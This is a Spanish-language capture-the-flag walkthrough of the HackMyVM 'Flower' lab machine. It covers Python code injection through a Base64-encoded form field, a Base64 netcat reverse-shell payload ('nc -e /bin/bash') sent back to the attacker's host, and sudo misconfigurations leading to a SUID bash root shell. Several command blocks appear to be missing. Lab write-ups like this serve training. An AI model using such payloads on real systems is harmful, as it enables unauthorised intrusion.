Flower HackMyVM (Easy- Linux)
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>nmap -sCV -p<PORTS> <IP>Info:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-06 14:07 EDT
Nmap scan report for 192.168.5.6
Host is up (0.0025s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:FC:0C:ED (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.34 secondsVeremos que hay un puerto 80 en el que se aloja una pagina web, si entramos veremos lo siguiente:

Vemos como un selector de flores, si seleccionamos una y le damos a Submit veremos que nos cuenta los petalos que tiene dicha flor, vamos a capturar la peticion con BurpSuite a ver que vemos.
Veremos esta peticion si la capturamos, lo que estamos viendo en la parte de petals es un fragmento de codigo codificado en Base64 que si lo decodificamos veremos lo siguiente:
Vemos que esta realizando una suma, por lo que esta ejecutando algo por dentro, vamos a probar a codificar algun comando del sistema y ponerlo en la peticion para enviarlo, a ver si se ejecuta.
En la respuesta del servidor y en la propia pagina web, veremos lo siguiente:
Vemos que se esta mostrando directamente el codigo decodificado, por lo que algo por dentro lo esta decodificando, pero no lo esta ejecutando, por lo que vamos a probar a intentar realizar injecciones de comandos con python algunas simples.
Despues de estar un rato probando, si probamos a poner lo siguiente de forma codificada en Base64 veremos que funciona.
Este valor ZXhlYyh3aG9hbWkp es igual a exec(whoami), si probamos a enviarlo, en la pagina de la respuesta veremos lo siguiente:

Vemos que se esta ejecutando, por lo que vamos a generar una reverse shell para obtener acceso al servidor.
Este valor ZXhlYygnbmMgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguNS40IDc3NzcnKQ== es igual a exec('nc -e /bin/bash <IP> <PORT>')
Antes de enviarlo nos pondremos a la escucha.
Ahora si enviamos la peticion y volvemos a donde tenemos la escucha veremos lo siguiente:
Vemos que hemos obtenido acceso mediante el usuario www-data por lo que vamos a sanitizar la shell.
Sanitización de shell (TTY)
Escalate user rose
Si hacemos sudo -l veremos lo siguiente:
Vemos que podemos ejecutar el binario python3 respecto a la ruta absoluta del script de diary.py como el usuario rose.
Vamos a ver que permisos tiene dicha carpeta de la siguiente forma:
Info:
Vemos que tiene todos los permisos, por lo que podremos eliminar el archivo y poner lo que queramos dentro del mismo, vamos a realizarlo de la siguiente forma:
Tendremos que confirmarlo con una y y una vez eliminado vamos a meter lo siguiente:
Ahora lo guardamos y lo ejecutamos de la siguiente forma.
Nos vamos a poner a la escucha:
Ahora con el usuario www-data ejecutaremos lo siguiente:
Y si volvemos a donde tenemos la escucha veremos lo siguiente:
Vemos que hemos conseguido acceso al usuario rose por lo que vamos a sanitizar la shell.
Sanitización de shell (TTY)
Vamos a leer la flag del usuario.
user.txt
Escalate Privileges
Si hacemos sudo -l veremos lo siguiente:
Vemos que podemos ejecutar la bash con la ruta absoluta de .plantbook por lo que vamos a investigar un poco.
Si listamos los permisos que tiene veremos lo siguiente:
Vemos que podemos editarlo, por lo que al final de las lineas vamos añadir lo siguiente:
Lo guardamos y lo ejecutamos de la siguiente forma:
Info:
Con esto vemos que se ha ejecutado de forma correcta, pero vamos a comprobarlo de la siguiente forma:
Info:
Vemos que se establecio los permisos SUID a la bash de forma correcta, por lo que haremos lo siguiente:
Info:
Y con esto ya seremos root por lo que leeremos la flag de root.
root.txt
Last updated